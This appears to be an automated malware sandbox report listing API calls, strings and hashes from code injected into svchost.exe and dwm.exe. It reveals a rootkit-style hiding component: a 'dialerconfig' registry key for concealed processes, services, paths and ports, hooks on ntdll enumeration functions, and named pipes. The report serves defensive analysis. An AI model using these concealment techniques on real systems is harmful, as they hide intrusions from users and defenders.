Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction ID: 12a56478c837c39c5216bc8345ce5163ad79e49cf0720a9169c88b3f3c9e6f16
Opcode Fuzzy Hash: 3779bcfafb90e2edd239bdf2c4b5cd58a413f829d06d4561fa4d45091366f8f0
Instruction Fuzzy Hash: 0D216032B04B8082EA519F59A40C25AF7F4FB85F99F194124DE8E57B14EF7CC54AC741

Function 000002A661301274 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A66130127A
HeapAlloc.KERNEL32 ref: 000002A661301289
GetProcessHeap.KERNEL32 ref: 000002A6613012A3
HeapAlloc.KERNEL32 ref: 000002A6613012B4

Memory Dump Source

Source File: 00000019.00000002.2939914361.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction ID: 16ddd67762c4d4c4f8100b4d624632db3f00bd7c2fc12c005352baca9613edce
Opcode Fuzzy Hash: 8b038beba27963a8280261039ce2f03ebd498cc74250c16b652da3202c115688
Instruction Fuzzy Hash: 7AE0C9B1B5160087E704EB66D81D3597AE5EB89F61F498024C94A07350DF7D8499C751

Analysis Process: dwm.exePID: 988, Parent PID: 7912COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	95.1%
Signature Coverage:	0%
Total number of Nodes:	122
Total number of Limit Nodes:	16

Executed Functions

Function 000002BAAEDB1650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDB165B
HeapAlloc.KERNEL32 ref: 000002BAAEDB166A

Part of subcall function 000002BAAEDB1274: GetProcessHeap.KERNEL32 ref: 000002BAAEDB127A
Part of subcall function 000002BAAEDB1274: HeapAlloc.KERNEL32 ref: 000002BAAEDB1289
Part of subcall function 000002BAAEDB1274: GetProcessHeap.KERNEL32 ref: 000002BAAEDB12A3
Part of subcall function 000002BAAEDB1274: HeapAlloc.KERNEL32 ref: 000002BAAEDB12B4

RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB16DA
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB1707
RegCloseKey.ADVAPI32 ref: 000002BAAEDB1721
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB1741
RegCloseKey.ADVAPI32 ref: 000002BAAEDB175C
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB177C
RegCloseKey.ADVAPI32 ref: 000002BAAEDB1797
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB17B7
RegCloseKey.ADVAPI32 ref: 000002BAAEDB17D2
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB17F2
RegCloseKey.ADVAPI32 ref: 000002BAAEDB180D
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB182D
RegCloseKey.ADVAPI32 ref: 000002BAAEDB1848
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB1868
RegCloseKey.ADVAPI32 ref: 000002BAAEDB1883
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB18A3
RegCloseKey.ADVAPI32 ref: 000002BAAEDB18BE
RegCloseKey.ADVAPI32 ref: 000002BAAEDB18C8

Part of subcall function 000002BAAEDB12C8: RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAEDB1326
Part of subcall function 000002BAAEDB12C8: GetProcessHeap.KERNEL32 ref: 000002BAAEDB1334
Part of subcall function 000002BAAEDB12C8: HeapAlloc.KERNEL32 ref: 000002BAAEDB1345
Part of subcall function 000002BAAEDB12C8: RegEnumValueW.ADVAPI32 ref: 000002BAAEDB13A1
Part of subcall function 000002BAAEDB12C8: GetProcessHeap.KERNEL32 ref: 000002BAAEDB13E9
Part of subcall function 000002BAAEDB12C8: HeapAlloc.KERNEL32 ref: 000002BAAEDB13F7
Part of subcall function 000002BAAEDB12C8: GetProcessHeap.KERNEL32 ref: 000002BAAEDB141B
Part of subcall function 000002BAAEDB12C8: HeapFree.KERNEL32 ref: 000002BAAEDB1429
Part of subcall function 000002BAAEDB12C8: lstrlenW.KERNEL32 ref: 000002BAAEDB1432
Part of subcall function 000002BAAEDB12C8: GetProcessHeap.KERNEL32 ref: 000002BAAEDB1440
Part of subcall function 000002BAAEDB12C8: HeapAlloc.KERNEL32 ref: 000002BAAEDB144E

Strings

tcp_remote, xrefs: 000002BAAEDB1861
paths, xrefs: 000002BAAEDB17B0
tcp_local, xrefs: 000002BAAEDB1826
pid, xrefs: 000002BAAEDB173A
startup, xrefs: 000002BAAEDB16FD
process_names, xrefs: 000002BAAEDB1775
SOFTWARE\dialerconfig, xrefs: 000002BAAEDB16BA
udp, xrefs: 000002BAAEDB189C
service_names, xrefs: 000002BAAEDB17EB

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction ID: 1e86fe2e7205eafb2ec09bd88abebd2a24caa4bf333795e7070caba05147ffd4
Opcode Fuzzy Hash: 1a30f3953b7b2857fef7ab9bb527f69cc88a70ac074ccf0af09289a77df583cb
Instruction Fuzzy Hash: C7711936710A5096FB219F76E89869D37B4FB88BC8F601125DE8E47B68EF38C444C761

Function 000002BAAEDB5C10 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAEDB5C4B
GetThreadContext.KERNEL32 ref: 000002BAAEDB5DB5

Part of subcall function 000002BAAEDB5A40: GetCurrentThreadId.KERNEL32 ref: 000002BAAEDB5A44

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 196898b9c00e9a2a94215751572aa4ea3ed8279feab0b04f45af8764fe45d318
Instruction ID: bbe707b6b7f36c3fbfad6163ec7464966c680acce18abbd661bba50997f59a92
Opcode Fuzzy Hash: 196898b9c00e9a2a94215751572aa4ea3ed8279feab0b04f45af8764fe45d318
Instruction Fuzzy Hash: BCD1A076208B88C6EA70DB1AE49435A77B1F3C8B88F200616EACD47BA5DF3DC551CB11

Function 000002BAAEDB51B0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAEDB5236

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 06d11d655de32e38fd8e5a073ca3ca46fe81f5eb7042fdfe4678ea390cd256b7
Instruction ID: 741b00d85598c565b5f88a5aa51b3969b09740c4a5e6e398a6ac4812dff4893d
Opcode Fuzzy Hash: 06d11d655de32e38fd8e5a073ca3ca46fe81f5eb7042fdfe4678ea390cd256b7
Instruction Fuzzy Hash: 5902D832219B8086EBA0DB55E49835AB7B1F3C5784F201515EACE87BA8EF7CC494CF11

Function 000002BAAEDB3878 Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000002BAAEDB3886
GetCurrentProcess.KERNEL32 ref: 000002BAAEDB38B4
VirtualProtectEx.KERNEL32 ref: 000002BAAEDB38D6
GetCurrentProcess.KERNEL32 ref: 000002BAAEDB38F4
VirtualProtectEx.KERNEL32 ref: 000002BAAEDB3915

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction ID: 21aeb620c3a84e7a8438ecedfdfe25f9be25e782a330bc914190a096df78c764
Opcode Fuzzy Hash: a6312042db82c9c62213c4cc61283d131af5cc2d1631b4a6c699d8a5d8d1a662
Instruction Fuzzy Hash: CE11F72A705B4186FB559B21F4082AA77B4FB88B84F244029DECD07794EF3DC549D725

Function 000002BAAEDB3AC0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000002BAAEDB3B46
VirtualAlloc.KERNEL32 ref: 000002BAAEDB3B80

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: 6886080a5e420ef5f5b7cbc5977cea8f3533897ae81ff2ee1a15dfd3048d8c27
Instruction ID: 3f065a3df95fb76558a1c68ddb000ada306c4925dae015b3fb91056b7376d919
Opcode Fuzzy Hash: 6886080a5e420ef5f5b7cbc5977cea8f3533897ae81ff2ee1a15dfd3048d8c27
Instruction Fuzzy Hash: 8E31F022219A8481FA70DB15E45835BB7B4F388784F700625F5CD46BA8EFBDC550DB25

Function 000002BAAEDB3458 Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002BAAEDB347A
PathFindFileNameW.SHLWAPI ref: 000002BAAEDB3489

Part of subcall function 000002BAAEDB3930: StrCmpNIW.SHLWAPI ref: 000002BAAEDB3948

Part of subcall function 000002BAAEDB3878: GetModuleHandleW.KERNEL32 ref: 000002BAAEDB3886
Part of subcall function 000002BAAEDB3878: GetCurrentProcess.KERNEL32 ref: 000002BAAEDB38B4
Part of subcall function 000002BAAEDB3878: VirtualProtectEx.KERNEL32 ref: 000002BAAEDB38D6
Part of subcall function 000002BAAEDB3878: GetCurrentProcess.KERNEL32 ref: 000002BAAEDB38F4
Part of subcall function 000002BAAEDB3878: VirtualProtectEx.KERNEL32 ref: 000002BAAEDB3915

CreateThread.KERNEL32 ref: 000002BAAEDB34D7

Part of subcall function 000002BAAEDB1EB4: GetCurrentThread.KERNEL32 ref: 000002BAAEDB1EBF

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction ID: d113ca70f49262fe0274de71b7c32930603b06937ee7d5c3002fc8d19919749e
Opcode Fuzzy Hash: c29ba6944873534deeb84ee6eea4394d78c713a8ee642426403de072192bf5b7
Instruction Fuzzy Hash: 55116171A1061185FB269731B54E76A73B0F794344F74002999CE89194FFBDD044E373

Function 000002BAAEDB4ED0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000002BAAEDB4ED4
VirtualProtect.KERNEL32 ref: 000002BAAEDB4F17
FlushInstructionCache.KERNEL32 ref: 000002BAAEDB4F2C

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 850510bb2ba42cc871c3507ea1c994e32bc1ac022eb00db290021f97f82b562b
Instruction ID: bf637508d8b13d975d35479a48e966e585679f30e3dab5e475b0886930fee4ec
Opcode Fuzzy Hash: 850510bb2ba42cc871c3507ea1c994e32bc1ac022eb00db290021f97f82b562b
Instruction Fuzzy Hash: BCF03A26218B4481E630DB06E45974BBBB0E3CC7E4F240211FACD47BA9EF38C680CB11

Function 000002BAAED82908 Relevance: 3.2, APIs: 2, Instructions: 186
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000002BAAED829AA
LoadLibraryA.KERNELBASE ref: 000002BAAED82A31

Memory Dump Source

Source File: 0000001A.00000002.2996207856.000002BAAED80000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAED80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaed80000_dwm.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction ID: d68129767a834a96e50de18453de40ab19bf911d8bbe2b168271e1e7c2de839b
Opcode Fuzzy Hash: f6ddeab5387358d888722616617f0efec67712a96652def8838ee087e5407534
Instruction Fuzzy Hash: E261347270229187EB68CF1AD45877DB3B5FB24B94F648021DA9D07789DB38E853C722

Function 000002BAAEDB1C28 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002BAAEDB1650: GetProcessHeap.KERNEL32 ref: 000002BAAEDB165B
Part of subcall function 000002BAAEDB1650: HeapAlloc.KERNEL32 ref: 000002BAAEDB166A
Part of subcall function 000002BAAEDB1650: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB16DA
Part of subcall function 000002BAAEDB1650: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB1707
Part of subcall function 000002BAAEDB1650: RegCloseKey.ADVAPI32 ref: 000002BAAEDB1721
Part of subcall function 000002BAAEDB1650: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB1741
Part of subcall function 000002BAAEDB1650: RegCloseKey.ADVAPI32 ref: 000002BAAEDB175C
Part of subcall function 000002BAAEDB1650: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB177C
Part of subcall function 000002BAAEDB1650: RegCloseKey.ADVAPI32 ref: 000002BAAEDB1797
Part of subcall function 000002BAAEDB1650: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB17B7
Part of subcall function 000002BAAEDB1650: RegCloseKey.ADVAPI32 ref: 000002BAAEDB17D2
Part of subcall function 000002BAAEDB1650: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB17F2

Sleep.KERNEL32 ref: 000002BAAEDB1C43
SleepEx.KERNEL32 ref: 000002BAAEDB1C49

Part of subcall function 000002BAAEDB1650: RegCloseKey.ADVAPI32 ref: 000002BAAEDB180D
Part of subcall function 000002BAAEDB1650: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB182D
Part of subcall function 000002BAAEDB1650: RegCloseKey.ADVAPI32 ref: 000002BAAEDB1848
Part of subcall function 000002BAAEDB1650: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB1868
Part of subcall function 000002BAAEDB1650: RegCloseKey.ADVAPI32 ref: 000002BAAEDB1883
Part of subcall function 000002BAAEDB1650: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDB18A3
Part of subcall function 000002BAAEDB1650: RegCloseKey.ADVAPI32 ref: 000002BAAEDB18BE
Part of subcall function 000002BAAEDB1650: RegCloseKey.ADVAPI32 ref: 000002BAAEDB18C8

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction ID: 9bf767cf131310899e9c5d49bb0b649a76f6aefae3c4f8c2a88701203a0a1f2a
Opcode Fuzzy Hash: 446663f49501c54a1dde533fa37134df150f915d943a345b55ac37b77b82859e
Instruction Fuzzy Hash: F631BE65210A0291FB509F36DA6D36A33B5AB44BD0F34642DDECD87796FF24C860C272

Non-executed Functions

Function 000002BAAEDB2CDC Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002BAAEDB2D80
lstrlenW.KERNEL32 ref: 000002BAAEDB2FBA

Part of subcall function 000002BAAEDB1A14: OpenProcess.KERNEL32 ref: 000002BAAEDB1A3A
Part of subcall function 000002BAAEDB1A14: K32GetModuleFileNameExW.KERNEL32 ref: 000002BAAEDB1A58
Part of subcall function 000002BAAEDB1A14: PathFindFileNameW.SHLWAPI ref: 000002BAAEDB1A67
Part of subcall function 000002BAAEDB1A14: lstrlenW.KERNEL32 ref: 000002BAAEDB1A73
Part of subcall function 000002BAAEDB1A14: StrCpyW.SHLWAPI ref: 000002BAAEDB1A86
Part of subcall function 000002BAAEDB1A14: CloseHandle.KERNEL32 ref: 000002BAAEDB1A94

GetProcAddress.KERNEL32 ref: 000002BAAEDB2D95

Part of subcall function 000002BAAEDB1554: StrCmpIW.SHLWAPI ref: 000002BAAEDB1585

Part of subcall function 000002BAAEDB3930: StrCmpNIW.SHLWAPI ref: 000002BAAEDB3948

StrCmpNIW.SHLWAPI ref: 000002BAAEDB2DD8
lstrlenW.KERNEL32 ref: 000002BAAEDB2F00

Strings

\Device\Nsi, xrefs: 000002BAAEDB2DCB
ntdll.dll, xrefs: 000002BAAEDB2D79
NtQueryObject, xrefs: 000002BAAEDB2D8B

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction ID: d0df28f5b54def0f348886daa371fea20f351f4874dac32785d3522283baec72
Opcode Fuzzy Hash: 2588cc794520ead529bdc0a32c038e4709a5f15ae479e9f47b13431256f42674
Instruction Fuzzy Hash: A8B1B073220A5082FB698F2AD5487A973B4FB89B84F645016EE8D53794FF75CD40C362

Function 000002BAAEDB7E70 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002BAAEDB7E8C
RtlCaptureContext.NTDLL ref: 000002BAAEDB7EB9
RtlLookupFunctionEntry.NTDLL ref: 000002BAAEDB7ED3
RtlVirtualUnwind.NTDLL ref: 000002BAAEDB7F14
IsDebuggerPresent.KERNEL32 ref: 000002BAAEDB7F68
SetUnhandledExceptionFilter.KERNEL32 ref: 000002BAAEDB7F89
UnhandledExceptionFilter.KERNEL32 ref: 000002BAAEDB7F94

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction ID: a6a6e3a706670074ac241bc5ce13e5692aab6026ad8fb856e39973e7621a7b8a
Opcode Fuzzy Hash: 1239a149ef62a939d07da7a6345777f7e6476c10c46ebdc58c2fff80381e5b80
Instruction Fuzzy Hash: 3A318E72204B808AFB608F70E8443EE7370F788744F54452ADA8E57B98EF38C648C720

Function 000002BAAEDBB50C Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002BAAEDBB585
RtlLookupFunctionEntry.NTDLL ref: 000002BAAEDBB59D
RtlVirtualUnwind.NTDLL ref: 000002BAAEDBB5D8
IsDebuggerPresent.KERNEL32 ref: 000002BAAEDBB611
SetUnhandledExceptionFilter.KERNEL32 ref: 000002BAAEDBB61B
UnhandledExceptionFilter.KERNEL32 ref: 000002BAAEDBB626

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction ID: 6a5e4ff0647449210e6d303325f1cd7f509e44abf96698d8bee52b775b153712
Opcode Fuzzy Hash: b9fdfb6abdc39c0bfa3e984213bb5a27592c3a0080b3e524afb5147b282a99cd
Instruction Fuzzy Hash: 75314B36214F8086EB60CF25E84439E73B4F788B94F600526EA9D47BA9EF38C555CB11

Function 000002BAAEDBFEF8 Relevance: 7.8, APIs: 5, Instructions: 328fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002BAAEDBFF67
WriteFile.KERNEL32 ref: 000002BAAEDC021E
WriteFile.KERNEL32 ref: 000002BAAEDC0270
GetLastError.KERNEL32 ref: 000002BAAEDC0372
GetLastError.KERNEL32 ref: 000002BAAEDC03D2

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction ID: c105326b7bdc61d720b967c56eb839311dc6dbaf176ed9c494eb50a8762152aa
Opcode Fuzzy Hash: 85b244371d408b05e75db82bfcedca3f922ea5a775ba2aedb63ed3d562987fa1
Instruction Fuzzy Hash: 61E1DF72B14A809AE702CF74D4982DD7BB1F3857C8F248216DE8E57B99EB38C51AC711

Function 000002BAAEDB12C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAEDB1326
GetProcessHeap.KERNEL32 ref: 000002BAAEDB1334
HeapAlloc.KERNEL32 ref: 000002BAAEDB1345
RegEnumValueW.ADVAPI32 ref: 000002BAAEDB13A1

Part of subcall function 000002BAAEDB1554: StrCmpIW.SHLWAPI ref: 000002BAAEDB1585

GetProcessHeap.KERNEL32 ref: 000002BAAEDB13E9
HeapAlloc.KERNEL32 ref: 000002BAAEDB13F7
GetProcessHeap.KERNEL32 ref: 000002BAAEDB141B
HeapFree.KERNEL32 ref: 000002BAAEDB1429
lstrlenW.KERNEL32 ref: 000002BAAEDB1432
GetProcessHeap.KERNEL32 ref: 000002BAAEDB1440
HeapAlloc.KERNEL32 ref: 000002BAAEDB144E
StrCpyW.SHLWAPI ref: 000002BAAEDB1470
GetProcessHeap.KERNEL32 ref: 000002BAAEDB1485
HeapFree.KERNEL32 ref: 000002BAAEDB1493

Strings

d, xrefs: 000002BAAEDB1365

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction ID: acdf4d1fdfc89274e76a21760b0cdd48ac121817a5367255b19e53eaa4a7f8c2
Opcode Fuzzy Hash: b748d707dce532ba85059e887555c778ed1ca062867acd86e7106c3b72fc9f19
Instruction Fuzzy Hash: 40515B72214B44DBEB15CF62E54839AB3B1F789BC0F548228DA8D07B58EF38C566CB51

Function 000002BAAEDB1EB4 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002BAAEDB1EBF

Part of subcall function 000002BAAEDB2174: GetModuleHandleA.KERNEL32 ref: 000002BAAEDB218C
Part of subcall function 000002BAAEDB2174: GetProcAddress.KERNEL32 ref: 000002BAAEDB219D

Part of subcall function 000002BAAEDB5C10: GetCurrentThreadId.KERNEL32 ref: 000002BAAEDB5C4B

Strings

advapi32.dll, xrefs: 000002BAAEDB1F97, 000002BAAEDB1FB8
EnumServiceGroupW, xrefs: 000002BAAEDB1F90
NtQueryDirectoryFile, xrefs: 000002BAAEDB1F1F
NtQueryDirectoryFileEx, xrefs: 000002BAAEDB1F3C
NtEnumerateKey, xrefs: 000002BAAEDB1F59
sechost.dll, xrefs: 000002BAAEDB1FD9
EnumServicesStatusExW, xrefs: 000002BAAEDB1FB1, 000002BAAEDB1FD2
ntdll.dll, xrefs: 000002BAAEDB1ECD
NtDeviceIoControlFile, xrefs: 000002BAAEDB1FF6
NtQuerySystemInformation, xrefs: 000002BAAEDB1EE5
NtEnumerateValueKey, xrefs: 000002BAAEDB1F76
NtResumeThread, xrefs: 000002BAAEDB1F02

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_2baaedb0000_dwm.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction ID: 89ee6f72e2a42ab17cced8e8e078ada073b920a50a376e3e88a103d5255c52a8
Opcode Fuzzy Hash: 4311b3b4e112faf7cd717d4cb8614ddd441db72e36ac1e322346e5d8367ce93d
Instruction Fuzzy Hash: CD31A3A210094AA0FB0AEF79E95E6D43331B7943C4FE05513E99E161B5AF39C649C3B3

Function 000002BAAEDB23F0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002BAAEDB2405
GetCurrentProcessId.KERNEL32 ref: 000002BAAEDB240F

Part of subcall function 000002BAAEDB19AC: OpenProcess.KERNEL32 ref: 000002BAAEDB19CA
Part of subcall function 000002BAAEDB19AC: IsWow64Process.KERNEL32 ref: 000002BAAEDB19E0
Part of subcall function 000002BAAEDB19AC: CloseHandle.KERNEL32 ref: 000002BAAEDB19FB

CreateFileW.KERNEL32 ref: 000002BAAEDB2468
WriteFile.KERNEL32 ref: 000002BAAEDB2490
ReadFile.KERNEL32 ref: 000002BAAEDB24AF
CloseHandle.KERNEL32 ref: 000002BAAEDB24B8

Strings

\\.\pipe\dialerchildproc32, xrefs: 000002BAAEDB243F
\\.\pipe\dialerchildproc64, xrefs: 000002BAAEDB2438

Memory Dump Source

Source File: 0000001A.00000002.2996259729.000002BAAEDB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDB0000, based on PE: true

